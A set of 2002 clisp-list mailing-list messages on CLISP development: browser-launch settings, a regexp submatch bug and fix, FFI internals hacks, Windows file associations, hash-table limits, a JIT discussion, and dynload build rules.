> *BROWSERS* is not reexported to the package CUSTOM.

fixed, thanks!

> Follows small gripes:
> 1) the *browsers* list in file src/clhs.lisp is biased towards UNIX.
>   '((:netscape "netscape" "-remote" "openURL(~a,new-window)")
>     (:konqueror "kfmclient" "openURL" "~a")
>     (:lynx "xterm" "-e" "lynx" "~a")
>     (:w3m "xterm" "-e" "w3m" "~a")
>     (:mmm "mmm" "-external" "~a")
>     (:mosaic "xmosaic" "~a")
>     (:emacs-w3 "gnudoit" "-q" "(w3-fetch \"~a\")")))
> It doesn't provide any reasonable default for any other
> system. Furthermore, the elements in the alist are not made
> conditional upon #+UNIX.

the notion of system default effectively exists only on KDE, GNOME and
win32.

> Where can one expect "netscape -remote xyz" to work?

everywhere.

> 2) even the code in browse-url only works on UNIX (or a simulator).
>   (run-program (car command) :arguments args :wait nil)
> :WAIT nil (appending a "&" to the command line) only works in a UNIX shell.
> We had a run-program topic here in the list a few weeks ago.

yes, actually, I still want to clean up this mess.

> More portable code would query the registry for the application
> associated with ".html" or ".htm"). Who wants to write that?
>   (:default ... sys::registry or new dir-key code ...)
> (setq *browser* :default)

if dir-key is made into a module, we will have to stick to
sys::registry which looks only under one root.
is this browser setting there?
I don't have a w32 box to check.

actually, this is not even necessary.
IIUC, if you tell w32 to "run" an HTML file, it will start a browser.
(cf. Emacs `w32-shell-execute').

> 4) ext:*browser[s]* (or custom:*) should be mentioned in config.lisp
> That's the file that users are supposed to look at. (not clhs.lisp)
done.

> BTW, what's the final word on *lib-directory*, clisp-data-file
> and the data/ subdirectory?
> data/ or not data/ subdirectory?

it's `data' on all platforms.
I thought I did that already! (2002-02-26)

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Hi,

regexp-exec fails to correctly handle results of ()-grouping in
regular expressions, as in e.g.: b\(o\([hi]\)\|h\([a-z]\)\). This
affects OR (i.e. optional) groups.

2 Testcases (in .tst format):
(regexp:match-end (nth-value 2
 (regexp:match "\\(/[a-z]*\\)*\\([a-z]\\+\\)" "foo#bar") ))
3

The values returned by match should be:
#S(REGMATCH_T :RM_SO 0 :RM_EO 3) ;
NIL ; <- filtered (-1,-1): no path
#S(REGMATCH_T :RM_SO 0 :RM_EO 3)

But not
#S(REGMATCH_T :RM_SO 0 :RM_EO 3) ;
#S(REGMATCH_T :RM_SO 0 :RM_EO 3) ;
... !!!
as the positioning of groups, as documented by regexp, is broken.


(regexp:match-end (nth-value 2
 (regexp:match "\\(/[a-z]*\\)*\\([a-z]\\+\\)" "/path/to/foo#bar") ))
12
The returned values should be:
#S(REGMATCH_T :RM_SO 0 :RM_EO 12) ;
#S(REGMATCH_T :RM_SO 8 :RM_EO 11) ;
#S(REGMATCH_T :RM_SO 11 :RM_EO 12)

BTW, is it normal that the + must be escaped?


When reformatting the result array, regexp-exec contains a line:
   (delete-if #'minusp matches :key #'match-start)))
This is buggy, as it doesn't handle OR (or optional) expressions =
correctly.

I believe the intent was to remove *trailing* (-1;-1) pairs left from
the probably too large array that holds the results (always
NUM-MATCHES =3D10 elements).

However, even doing this is buggy, as without parsing the regex,
there's no way telling how many parentheses groups there are and so
how many array elements will be needed. Consider the pattern b\(ar\)*g:

;(rtest2 "b\\(ar\\)*g" "abg")
0 ;
#(#S(REGEXP::REGMATCH_T :RM_SO 1 :RM_EO 3)
  #S(REGEXP::REGMATCH_T :RM_SO -1 :RM_EO -1) ;<- normal, * matched =
nothing
  #S(REGEXP::REGMATCH_T :RM_SO -1 :RM_EO -1) ;=20
  #S...
;(rtest "b\\(ar\\)*g" "abg")
#S(REGEXP::REGMATCH_T :RM_SO 1 :RM_EO 3)
 <- missing empty match indication as NTH-VALUE 1
The interface doesn't tell, but 2 of the array slots were needed.

Actually, the C interface can give the number of (). That's the re_nsub =
slot.

A 100% solution would have the FFI code call regexec with a variable
size array instead of being able to handle only at most 10 entries
(as typical for ancient C programming). This is not yet possible
in CLISP. The number of arguments would be determined by the structure
returned from regcomp() (or an extra FFI call).

Instead of having a fixed size
(def-c-call-out regexec
    (:arguments [...]
          (nmatch size_t)
          (pmatch (c-ptr (c-array regmatch_t #.num-matches)) :out)
          ... )
    (:return-type int))

We'd write
          (nmatch size_t)
          (pmatch (c-ptr (c-array regmatch_t is_size(nmatch))) :out)
and call via
 (regexec cpattern (cpattern->nsub cpattern)) -> array of size nsub

I don't know if variable size arrays will ever be implemented for the =
FFI.
That's "Worse is better" at work!

The bug has been there since day 1 of the regexp module (1996?), which
shows how much some regex functionality is used.

Proposed fix:
a) return positional NIL argument when submatch was not found
b) and always return NUM-MATCHES (10) values as interface doesn't tell
how many () groups the regex actually contains,
b2) or rely on multiple-value-bind NIL behaviour and filter trailing
NIL, so as not to always stupidly return 10 VALUES: if the programmer
requests a value of index larger than retured, s/he will get NIL as
well.
b3) "100% better solution": revisit interface so as to not stupidly
impose NUM-MATCH=3D10 but obtain number of actual groups via
regexp-compile. Be dynamic!

c) what should be the behaviour of MATCH-STRING be on a failed
optional match?
c1) leave code as is, don't call it on NIL match value.
c2) or return the empty string ""?

Fix a+b2) is appended. c1 means status quo.

Regards,
	J=F6rg H=F6hle


(in-package "REGEXP")

(defun regexp-exec (compiled-pattern string &key (start 0) (end nil))
  (assert (stringp string) (string)
          "~s: the second argument must be a string, not ~s"
          'regexp-exec string)
  (let* ((len (length string))
         (end (cond ((null end) len)
                    ((>=3D end len) len)
                    ((minusp end) (+ len end))
                    (t end)))
         ;; Prepare the string.
         (string
           (if (and (eql start 0) (eql end len))
             string
             (make-array (- end start)
                         :element-type 'character
                         :displaced-to string
                         :displaced-index-offset start))))
    (declare (string string))
    (multiple-value-bind (errcode matches)
        (regexec compiled-pattern string #.num-matches 0)
      ;; Compute return values.
      (if (zerop errcode)
        (values-list          ; the first value will be non-NIL
         (do ((n (position-if-not #'minusp matches :key #'match-start =
:from-end t) (1- n))
              (result '()))
             ((minusp n) result)
           (let ((match (svref matches n)))
             (push (cond ((=3D (match-start match) -1) nil)
                         ( t (unless (eql start 0)
                               (incf (match-start match) start)
                               (incf (match-end match) start))
                             match))
                   result))))
        nil))))


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Hi,

in order for people to experiment with many unexplored areas of the =
CLISP FFI, I thought it would be useful to release my FFI hacks file =
#1.

I hope to get some feedback. This would be nice for the future CLISP =
FFI.

+ foreign-address (c-pointer) <-> integer conversion
+ malloc
+ foreign-funcall using dynamic (variable) function type definition
  -> entry point to variable sized arrays and many more

The idea is to use FOREIGN-VARIABLE as typed pointer into foreign =
space.
Then, FFI::%OFFSET, FFI::%DEREF, FFI::%SLOT, FFI::%SIZEOF, =
FFI::FOREIGN-VALUE,
FFI::SET-FOREIGN-VALUE etc. become usable and extremely valuable.

FFI::PARSE-C-TYPE is required almost everywhere. This maps the USER =
visible
and well-documented foreign type (list based) to the internal one =
(vector based).

Don't be scared by the ::% prefix to all these functions. They are your =
friends now!

That shows part of the functionality. Naming and nice macros on top
of these etc. will be addressed in some future.

The dynload module or a tiny module with my clisp_ffi_redirector module
(see DEF-C-VARIABLE below) is required to get at the initial foreign
variable and function.

Enjoy,
	J=F6rg H=F6hle.

;; Save your life with the CLISP FFI
;; J=F6rg H=F6hle, March 2002

;; Most of this ought to become part of CLISP (rewritten as LISPFUN),
;; once I provide nice top-level interfaces on top of this.

(in-package "USER")

;; You all got these for free with the dynload module!
(eval-when (eval load)
(ffi:def-c-call-out c-self
  (:name "C_self")
  (:arguments (obj ffi:int))
  (:return-type ffi:int))
(ffi:def-c-var clisp-ffi-indirector (:type ffi:c-pointer)
   (:name "clisp_ffi_indirector"))
)

(defun describe-thing (o)
  (dotimes (i (sys::%record-length o) o)
    (format t "~&~D. ~S~%" i (sys::%record-ref o i))))

(setq f0 (or (GET 'CLISP-FFI-INDIRECTOR 'FFI:FOREIGN-VARIABLE)
  (error "clisp_ffi_indirector yet undeclared (unavailable?)")))

(setq f0-uint (load-time-value
   (ffi::%cast f0 (ffi::parse-c-type 'ffi:uint))))
(setq f0-c-pointer (load-time-value
   (ffi::%cast f0 (ffi::parse-c-type 'ffi:c-pointer))))

;; ffi::set-foreign-value is one key to convert_to_foreign
;; ffi::foreign-value is one key to convert_from_foreign

(defun foreign-address-unsigned (address)
  ; FOREIGN-ADDRESS-VALUE is a misnomer (bad abstraction level)
  ; since CLtL2, the value of an atom is itself.
  (ffi::foreign-address-value address)) ; is in CLISP-2.28
;(foreign-address-unsigned #'c-self)

(defun unsigned-foreign-address (n)
  (ffi::set-foreign-value f0-uint n)
  (ffi::foreign-value f0-c-pointer))
;(unsigned-foreign-address 3)


;;;###export
(defun foreign-address (foreign)
  (etypecase foreign
     (ffi:foreign-address foreign)
     ((or ffi:foreign-variable ffi:foreign-function)
      (sys::%record-ref foreign 1))))
;(foreign-address #'c-self)
;(foreign-address f0)


;;;###export
(defun update-foreign-address (foreign new-address)
  (check-type foreign (or ffi:foreign-function ffi:foreign-variable))
  (check-type new-address ffi:foreign-address)
  (setf (sys::%record-ref foreign 1) new-address))


;; already part of DYNLOAD module
;;;###export
(defun foreign-address-function (name address ctype)
  (check-type address ffi:foreign-address)
  (check-type name (or null string))
  (assert (and (simple-vector-p ctype)
	       (=3D (length ctype) 4) ; foreign.d does 1 more check
	       (eq (svref ctype 0) 'ffi:c-function)))
  (ffi::set-foreign-value f0-c-pointer address)
  (let ((ff (ffi::foreign-value (ffi::%cast f0 ctype))))
    (setf (sys::%record-ref ff 0) name)
    (update-foreign-address ff address) ; restore EQ address (needed =
for ff)
    ff))

(defun fcast (ffunction ctype)
  (check-type ffunction ffi:foreign-function)
  (foreign-address-function
   (sys::%record-ref ffunction 0) ; name
   (foreign-address ffunction) ctype))
;(fcast #'c-self (ffi::parse-c-type '(ffi:c-function (:arguments (obj =
ffi:c-string)) (:return-type ffi:c-string))))


;; gross hack, *not* to become part of CLISP!
(defun redefine-foreign-function (ffun ffi-type)
  ;;TODO check for incomplete type, e.g. (ffi:c-function)
  (unless
      ;; safety checks before hacking the internals
      ;; (0. c-name as string (possibly NIL?)
      ;;  1. foreign-address
      ;;  2. return type 3. argument types
      ;;  4. flags)
      (and (eq (type-of ffun) 'ffi:foreign-function)
	   (=3D (sys::%record-length ffun) 5)
	   (eq (type-of (sys::%record-ref ffun 1)) 'ffi:foreign-address)
	   (integerp (sys::%record-ref ffun 4))) ; flags
    ;;TODO type program-error or so?
    (error "Not a foreign function: ~S" ffun))
  (let ((new (ffi::parse-c-type ffi-type)))
    (unless
	(and (simple-vector-p new) (=3D (length new) 4)
	     (eq (svref new 0) 'ffi:c-function)
	     (integerp (svref new 3)))
      (error "Not a foreign function type specification: ~S" ffi-type))
    (setf (sys::%record-ref ffun 2) (svref new 1)) ;result type
    (setf (sys::%record-ref ffun 3) (svref new 2)) ;argument types
    (setf (sys::%record-ref ffun 4) (svref new 3)) ;flags
    ffun))


;; *Complex* malloc: allocates any nested structure, contrary to a
;; simple C malloc(). This does much more than you think!
;;;###export
(defun foreign-malloc (ffi-type initval)
  (let ((ft (ffi::parse-c-type ffi-type))
	;; allocate foreign-variable via replication
	(fv (ffi::%cast f0 'ffi:c-pointer)))
    (setf (sys::%record-ref fv 3) ft)	;foreign type
    (setf (sys::%record-ref fv 2) (ffi::%sizeof ft)) ;sizeof(type)
    (setf (sys::%record-ref fv 0) "via malloc")
    ;; TODO use fcast now that it exists
    (redefine-foreign-function #'c-self
     `(ffi:c-function (:arguments (obj (ffi:c-ptr ,ffi-type) :in =
:malloc-free))
		      (:return-type ffi:c-pointer)
		      (:language :stdc)))
    (setf (sys::%record-ref fv 1) (c-self initval)) ;foreign-address
    fv))
;(foreign-malloc 'ffi:int -123456789)

;; no idea for foreign-free() in Lisp.
;; malloc() is enough for experiments


;; Using the redirector and #'c-self, even stack-allocated foreigns are
;; implementable (using a Lisp function as "callback", not shown).
;; Writing them in C has advantages:
;;  + not executing within context of a callback
;;  + can return any Lisp values


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> * In message <DFD875E85664D3118FA6080006277DE7055A024F@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] regexp-exec filters too much"
> * Sent on Fri, 12 Apr 2002 17:04:56 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Actually, the C interface can give the number of (). That's the re_nsub slot.
> 
> A 100% solution would have the FFI code call regexec with a variable
> size array instead of being able to handle only at most 10 entries
> (as typical for ancient C programming). This is not yet possible
> in CLISP. The number of arguments would be determined by the structure
> returned from regcomp() (or an extra FFI call).
>  (regexec cpattern (cpattern->nsub cpattern)) -> array of size nsub
> 
> I don't know if variable size arrays will ever be implemented for the FFI.

I thought you were working on that!

> b3) "100% better solution": revisit interface so as to not stupidly
> impose NUM-MATCH=10 but obtain number of actual groups via
> regexp-compile. Be dynamic!
> 
> Fix a+b2) is appended. c1 means status quo.

thanks.  are you sure you b3 is out of reach?

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Thank you very much. It is good to have some light in the darkside deeps
of the pc-internals.

.............................
> Arseny Slobodjuck wrote: 

I copy the lines in here.

[59]> (apropos 'browser)
*BROWSER*                                  variable
*BROWSERS*                                 variable
*INSPECT-BROWSER*                          variable
:BROWSER                                   constant
SYSTEM::BROWSER
BROWSER

[60]> *browser*
NIL

[61]> *browsers*
((:NETSCAPE "netscape" "-remote" "openURL(~a,new-window)")
 (:KONQUEROR "kfmclient" "openURL" "~a") (:LYNX "xterm" "-e" "lynx"
"~a")
 (:W3M "xterm" "-e" "w3m" "~a") (:MMM "mmm" "-external" "~a")
 (:MOSAIC "xmosaic" "~a") (:EMACS-W3 "gnudoit" "-q" "(w3-fetch
\"~a\")"))

[62]> (setf *browser* :netscape)
:NETSCAPE

[63]> (clhs 'apropos)
;; running ["netscape" "-remote"
"openURL(file://C|/LISP/HYPER1/Front/X_Master.h
tm/Body/fun_aproposcm_apropos-list.html,new-window)"]...
[pathname.d:10275]
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
file spec
ified.

1. Break [64]> abort

[65]> (push '(:netscape
"c:\prgra~1\netscape\commun~1\program\netscape.exe"
) *browsers*)
((:NETSCAPE "c:prgra~1netscapecommun~1programnetscape.exe" "~A")
 (:NETSCAPE "netscape" "-remote" "openURL(~a,new-window)")
 (:KONQUEROR "kfmclient" "openURL" "~a") (:LYNX "xterm" "-e" "lynx"
"~a")
 (:W3M "xterm" "-e" "w3m" "~a") (:MMM "mmm" "-external" "~a")
 (:MOSAIC "xmosaic" "~a") (:EMACS-W3 "gnudoit" "-q" "(w3-fetch
\"~a\")"))

[66]> (clhs 'apropos)
;; running ["c:prgra~1netscapecommun~1programnetscape.exe"
"file://C|/LISP/HYPER
1/Front/X_Master.htm/Body/fun_aproposcm_apropos-list.html"]...
[pathname.d:10275]
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
file spec
ified.
1. Break [67]>

I see there is the "\" not work so I do change this to [shift + 7] "/" :

[68]> (push '(:netscape
"C:/Progra~1/netscape/commun~1/program/netscape.exe" "~A
") *browsers*)
((:NETSCAPE "C:/Progra~1/netscape/commun~1/program/netscape.exe" "~A")
 (:NETSCAPE "c:prgra~1netscapecommun~1programnetscape.exe" "~A")
 (:NETSCAPE "netscape" "-remote" "openURL(~a,new-window)")
 (:KONQUEROR "kfmclient" "openURL" "~a") (:LYNX "xterm" "-e" "lynx"
"~a")
 (:W3M "xterm" "-e" "w3m" "~a") (:MMM "mmm" "-external" "~a")
 (:MOSAIC "xmosaic" "~a") (:EMACS-W3 "gnudoit" "-q" "(w3-fetch
\"~a\")"))

[69]> (clhs 'apropos)
;; running ["C:/Progra~1/netscape/commun~1/program/netscape.exe"
"file://C|/LISP
/HYPER1/Front/X_Master.htm/Body/fun_aproposcm_apropos-list.html"]...done
NIL
[70]>

Wow. Now the Netscape-Browser-Window opens and a little nice message
appears: Could not find file... Hm. I gues this is the "file://C..."
error from config.lisp. But I will check this later. (maybe
"local://..." works?)

The other (new) problem is now: In [68] you can see 3 lines with
:Netscape. How can I delete the wrong 2 lines in the *browsers* variable
? (and the rest-browsers that are not on my system (:konqueror, :w3m,
:mosaik). 

More and more I saw CLisp is something very fine.

...............................
> Hoehle, Joerg-Cyril wrote :

> The first place to look for is the CLISP implementation notes. 

Yes. Thank you. Most I looked in the clhs are the definitions to the
commands. Is there a version-number ? copyright 1996. (19-08-96; the
xanalys: 03-01-02)

> My opinion: starting a program is highly dependent on OS and
> user configuration. A hook should be provided for this purpose,
> not a hard coded run-program with non-standard keywords.

Not quite sure for that. The thing is named "portable" and I mean this
should work without big differences made by/to the OS (why is there a
config.lisp shipped? or why is sometimes the ./clsrc (?do not know the
exact name) for additional user demands?)

But don't worry. I assembled an old P75 on Monday (till Wednesday) and I
installed SCO UnixWare 7.0.1 in a 60 day trail-version. So I hope I find
the time (and some luck of course) to run clisp there. (It installed the
netscape gold 3.0.2 (Jan/99).)

> More portable code would query the registry for the application
> associated with ".html" or ".htm"). Who wants to write that?
>   (:default ... sys::registry or new dir-key code ...)
> (setq *browser* :default)

in *.pseudo-code it sounds like this:
{try or test
 browser ... netscape 
 execute netscape (get-response)
on error
 browser ... ie
 execute ie (get-respons)
on error
 print-line ("please enter the path to your Internet-Browser :")
 (setf *browser* (read-line ...)
 (+ win-friendly checkbox: remind me later :))
}
something like this ? 

Maybe a big config-file with readme to change things as you need/want is
a better solution? 
(print (actual-settings)) 
> WARNING: could be large file [continue?]

The other thing is, that many Win-User will not like programs who write
something into the registry. This is someway a kind of distrust. (Think
about a good slogan to the marketing-peoples).

> 4) ext:*browser[s]* (or custom:*) should be mentioned in config.lisp
> That's the file that users are supposed to look at. (not clhs.lisp)

aha - yes. I read the readme file. Last week I post the list of
error-messages while trying to compile-file src/config.lisp and I report
the win32-error while running (saveinitmem). Therefore I can not say
something about the status of my clisp 2.28, but it seems to work ok. 


Therefor I have a similar problem with pathname:
On suse 7.3 I did:

 (setf user-homedir-pathname 
             "/home/meiner/lisp/metest/")
 (setf metest (make-pathname :name "test" :type "lisp"))

and I want to have :type "lis" + :type "lsp". Since I ended that night
with that I do not try some more to this, like :type "lisp,lis,lsp" or
something else.

.........................................
sam wrote:

(yes I browse to the online impnotes. Big : a h a)

> if dir-key is made into a module, we will have to stick to
> sys::registry which looks only under one root.
> is this browser setting there?
> I don't have a w32 box to check.

> actually, this is not even necessary.
> IIUC, if you tell w32 to "run" an HTML file, it will start a browser.
> (cf. Emacs `w32-shell-execute').

Here I list some possible entries to the win98 registry.

in:

HKEY_CLASSES_ROOT\ .htm
 bzw.
HKEY_CLASSES_ROOT\ .html

If this entry is "htmlfile" the win32 starts the ie-browser. Otherwise
you can set "NetscapeMarkup" as value, then win32 runs the
netscape-browser when a htm-file is doubleclicked/called.


The Internet-Options are in "Extras" -> "Internetoptionen" and goes to
the registry-key :

HKEY_CURRENT_USER\ Software\ Policies\ Microsoft\ Internet Explorer\
Control Panel
(there is an option:)

"Auf Internet Explorer als Standardbrowser überprüfen" (check if ie is
standart-browser)
 Check_If_Default	REG_DWORD	Boolean	0
(if set to 1 this could be no longer changed!)

and in :

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion

there are 3 entries:

ProgramFilesDir [with Dat-type] REG_SZ

ProgramFilesPath [with Dat-type] REG_EXPAND_SZ
 (usualy the instal-path for new programs)

CommonFilesDir [with Dat-type] REG_SZ 
 (these are the common-files)
  most software ask this during the install-process or setup routine.


The other way is (on NT, not win98, 2000?, ME?) from the command-prompt
(start ->run-program : command.com ; opens a dos-box) (to link the
*.ending with a programm) :

ASSOC shows the actuel extension
FTYPE shows the link to an application

example:

ASSOC .ME=READMEDatei
FTYPE READMEDatei=winnt\system32\notepad.exe %1 

But one can add these to the registry, HKEY_CLASSES_ROOT\ newValue... or
via menue/file/associate :) why clisp opens when I click on an
*.lisp-file. btw I add the domino-icon to my desktop for clisp.
--------------------

Now typing and searching and testing about 3 houers :) bed is calling.
(bye)

stefan



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Browsing through the impnotes, i ran across this:

"The virtual machine

The bytecode can be thought of as being interpreted by a virtual processor.
The engine which actually interprets the bytecode (the "implementation of the
virtual machine") is actually a C function, but it could as well be a
__just-in-time compiler which translates a function's bytecode into hardware CPU
instructions__ the first time said function is called."

I'm interested in the part that's preceded by __'s: "just-in-time compiler
which translates a function's bytecode into hardware CPU instructions." How
hard would this be to do? I haven't dug extensively, and i'm still not very
familiar with clisp, but could anyone point me to more documentation on how the
bytecode compiler/interpreter works? :o) This is mostly curiosity, as i doubt
i'm skilled enough to actually implement a byte-code to native linux
assembler, but the attempt would improve my understanding of clisp and assembler.

Thanks,
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Hi,
On Sat, Apr 13, 2002 at 02:35:56AM +0200, Scott Williams wrote:
> but could anyone point me to more documentation on how the
> bytecode compiler/interpreter works? 

Impnotes is the documentation.  Apart from that, the source and your
friend, GDB.. 

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Hi,

This is just a FYI email.

Basically, Clisp from CVS compiled with on Cygwin on Win98SE has no problems
with hash tables or Joerg's nines problem.

> * On the subject of "[clisp-list] Re: Building CLISP for Windows"
> * Sent on Fri, 8 Mar 2002 11:06:10 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> o (queens 21.0s0) still crashes.

Works with Cygwin/Win98SE OOTB.

[20]> (nines 21.0s0)

(450 2 450 1 450 4 450 13 9450 22 9450 33 9450 103 198450 195)


Sam Steingold <sds@gnu.org> writes:

> Hi Arseny,
> 
> > * In message <1512001668.20020324101158@ich.dvo.ru>
> > * On the subject of "Re[2]: [clisp-list] CLISP stack & hash tables"
> > * Sent on Sun, 24 Mar 2002 10:11:58 +1000
> > * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
> > 
> > Sunday, March 24, 2002, 3:43:24 AM, you wrote:
> > 
> > [24]>> (make-hash-table :size (ash most-positive-fixnum -1) )
> > Sam> #S(hash-table eql)
> > [25]>> (make-hash-table :size (1+ (ash most-positive-fixnum -1) ))
> > Sam> *** - Hash table size 8388608 too large
> > 
> > On winnt all just the same, but if you'll begin to work with big HTs
> > (limits I have roughly pointed out), "Program stack overflow. RESET"
> > arises. It's not necessary to fill all such a big HT, usually 5000
> > elements are enough.
> 
> [1]> (setq h (make-hash-table :size 100000)
> )
> #S(HASH-TABLE EQL)
> [2]> (dotimes (i 100000) (setf (gethash i h) i))
> NIL
> [3]> (setq *print-array* nil)
> NIL
> [4]> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n) (setf (gethash i h) i))))
> Z
> [5]> (z 10000)
> NIL
> [6]> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n h) (setf (gethash i h) i))))
> Z
> [7]> (z 10000)
> #<HASH-TABLE EQL 10000 #x2058F0BD>
> [8]> (z 100000)
> #<HASH-TABLE EQL 100000 #x20777509>
> [9]> (z 100000)
> #<HASH-TABLE EQL 100000 #x20960509>
> [10]> (z 1000000)
> #<HASH-TABLE EQL 1000000 #x21C73209>
> [11]> (z 10000000)
> 
> *** - Hash table size 10000000 too large
> 1. Break [12]> 
> [13]> (z (ash most-positive-fixnum -1))
> #<HASH-TABLE EQL 8388607 #x2BC42001>
> [14]> (z (1+ (ash most-positive-fixnum -1)))
> 
> *** - Hash table size 8388608 too large
> 1. Break [15]> 

Cygwin/Win98SE is the same, i.e., works OOTB.

Peter




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> * In message <30556.1018658156@www56.gmx.net>
> * On the subject of "[clisp-list] A general query on the virtual machine"
> * Sent on Sat, 13 Apr 2002 02:35:56 +0200 (MEST)
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> ...a byte-code to native linux assembler...

look at interpret_bytecode_() in eval.d.
byte-code --> C compiler would be a great speed gain
(some estimate a factor of 3-4; it remains to be seen).

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> > * In message <30556.1018658156@www56.gmx.net>
> > * On the subject of "[clisp-list] A general query on the virtual
> machine"
> > * Sent on Sat, 13 Apr 2002 02:35:56 +0200 (MEST)
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> > ...a byte-code to native linux assembler...
> 
> look at interpret_bytecode_() in eval.d.
> byte-code --> C compiler would be a great speed gain
> (some estimate a factor of 3-4; it remains to be seen).

So in theory, one would load all necessary functions into clisp, then export
the lispimage, then convert the lispimage to C, compile it, and link it with
the memory allocation functions and garbage collector---that would work to
make stand-alone executables (ie, no other files needed for the program to
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object files could be loaded just like a bytecode FAS file?
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> * In message <5833.1018735039@www42.gmx.net>
> * On the subject of "Re: [clisp-list] A general query on the virtual machine"
> * Sent on Sat, 13 Apr 2002 23:57:19 +0200 (MEST)
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> > look at interpret_bytecode_() in eval.d.
> > byte-code --> C compiler would be a great speed gain
> > (some estimate a factor of 3-4; it remains to be seen).
> 
> So in theory, one would load all necessary functions into clisp, then
> export the lispimage, then convert the lispimage to C, compile it, and
> link it with the memory allocation functions and garbage
> collector---that would work to make stand-alone executables (ie, no
> other files needed for the program to run), but what sort of process
> would you go through so that natively assembled object files could be
> loaded just like a bytecode FAS file?

these natively assembled object files will be linked into lisp.run
using the existing modules infrastructure or linked into a shared object
(DLL) and dynamically loaded into CLISP using the code Joerg is working
on right now (or so I hope :-)

note that we are talking pure sci-fi here already.

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The gcj project which is a front end for the gnu compiler for java, can read java
byte codes
and convert them to a executable.  The Kaffe project has a jit for the java virtual
machine.
Perhaps one of these could be modified to be a jit for clisp.
Dan Stanger

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> > * In message <5833.1018735039@www42.gmx.net>
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> > * Sent on Sat, 13 Apr 2002 23:57:19 +0200 (MEST)
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> > > look at interpret_bytecode_() in eval.d.
> > > byte-code --> C compiler would be a great speed gain
> > > (some estimate a factor of 3-4; it remains to be seen).
> >
> > So in theory, one would load all necessary functions into clisp, then
> > export the lispimage, then convert the lispimage to C, compile it, and
> > link it with the memory allocation functions and garbage
> > collector---that would work to make stand-alone executables (ie, no
> > other files needed for the program to run), but what sort of process
> > would you go through so that natively assembled object files could be
> > loaded just like a bytecode FAS file?
>
> these natively assembled object files will be linked into lisp.run
> using the existing modules infrastructure or linked into a shared object
> (DLL) and dynamically loaded into CLISP using the code Joerg is working
> on right now (or so I hope :-)
>
> note that we are talking pure sci-fi here already.
>
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On Sunday 14 Apr 2002 3:45 am, Dan Stanger wrote:
> The gcj project which is a front end for the gnu compiler for java, can
> read java byte codes
> and convert them to a executable.  The Kaffe project has a jit for the java
> virtual machine.
> Perhaps one of these could be modified to be a jit for clisp.

Kava does Scheme -> Java Bytecode also.


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I have noticed a bug on m$ windows, when linking to modules containing
functions with more
than 6 arguments.  I get the error message : Unknown signature of a SUBR

It would have been helpful if the offending function could be printed
out also.
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Hi,

On Sat, Apr 13, 2002 at 02:37:46PM -0400, Sam Steingold wrote:
> > * In message <30556.1018658156@www56.gmx.net>
> > * On the subject of "[clisp-list] A general query on the virtual machine"
> > * Sent on Sat, 13 Apr 2002 02:35:56 +0200 (MEST)
> > * Honorable Scott Williams <ortmage@gmx.net> writes:
> >
> > ...a byte-code to native linux assembler...
> 
> look at interpret_bytecode_() in eval.d.
> byte-code --> C compiler would be a great speed gain
> (some estimate a factor of 3-4; it remains to be seen).
> 

What is this speedup needed for?  If you need something to be fast in
Clisp, you could write it in C (.d), as a start.

Have you considered the disadvantages: much more space needed; added
complexity.

Is the general consensus that fast, faster, fastest == good, better,
best?   If that is an unconditional judgement, then move to CMUCL.

Regards,
Peter


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Peter Wood writes:
 > > > ...a byte-code to native linux assembler...
 > > 
 > > look at interpret_bytecode_() in eval.d.
 > > byte-code --> C compiler would be a great speed gain
 > > (some estimate a factor of 3-4; it remains to be seen).
As this line already suggests, not everyone believes that estimate.
Most will readily agree that the factor depends a lot on what you
are doing.  My one data point is quite old now, but it was certainly 
evidence against such a factor.  I had a large body of code that was 
originally written for symbolics and had more recently been running
in lucid.  My tests ran only slightly faster in ACL (which is compiled
to machine code) than in clisp.  

 > What is this speedup needed for?  If you need something to be fast in
 > Clisp, you could write it in C (.d), as a start.
 > 
 > Have you considered the disadvantages: much more space needed; added
 > complexity.
 > 
 > Is the general consensus that fast, faster, fastest == good, better,
 > best?   If that is an unconditional judgement, then move to CMUCL.
Or assembly language, or special purpose hardware.

The fact that someone uses lisp is already pretty good evidence that
he recognizes value in other things besides speed.  If you believe
that clisp is slower than other lisps then it seems likely that clisp
users are even more of that opinion than users of other lisps.  On the
other hand, most people will agree that faster is better if all other
things can be made to stay the same.  The added complexity above might
impact the compiler writer but not the lisp programmer, in which case
it's not a disadvantage for him.


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Hi,

Joerg has asked for feedback on his work on the new ffi, so I thought
I'd make a patch which would enable anyone to build with
dynload.d. However, there are problems with compilation which I have
solved temporarily, and which should be cleared up now.

I have these rules for dynload.d:

dynload.d : ../src/dynload.d
	-$(LN_S) ../src/dynload.d dynload.d

dynload.c : dynload.d comment5 ansidecl varbrace
	$(COMMENT5) dynload.d | $(ANSIDECL) | $(VARBRACE) > dynload.c

dynload.i.c : dynload.c lispbibl.c sysdll.h
	$(CPP) $(CFLAGS) dynload.c > dynload.i.c

dynload.o : dynload.i.c lispbibl.c sysdll.h
	$(CC) $(CFLAGS) -c dynload.i.c
	$(MV) dynload.i.o dynload.o

There are no problems for sysdll.{o,c,h}

I also have a rule for dynload.s, but that is only because the other
.d files have such a rule, and it does not appear to be used!!??!!
More cruft from the assembler hack days?

The other files do not need the explicit preprocessing stage.  There
are rules for .i but a comment says that is only for debugging.  So it
should not be necessary for dynload either.

When I compile the original dynload.d I get the following:

test -d bindings || mkdir bindings
./comment5 dynload.d | ./ansidecl | ./varbrace > dynload.c
gcc -E -g -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare  -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_READLINE dynload.c > dynload.i.c
dynload.d:86: warning: preprocessing directive not recognized within macro arg
dynload.d:86: warning: preprocessing directive not recognized within macro arg
dynload.d:86: warning: preprocessing directive not recognized within macro arg
dynload.d:86: warning: preprocessing directive not recognized within macro arg
dynload.d:86: warning: preprocessing directive not recognized within macro arg
dynload.d:123: warning: preprocessing directive not recognized within macro arg
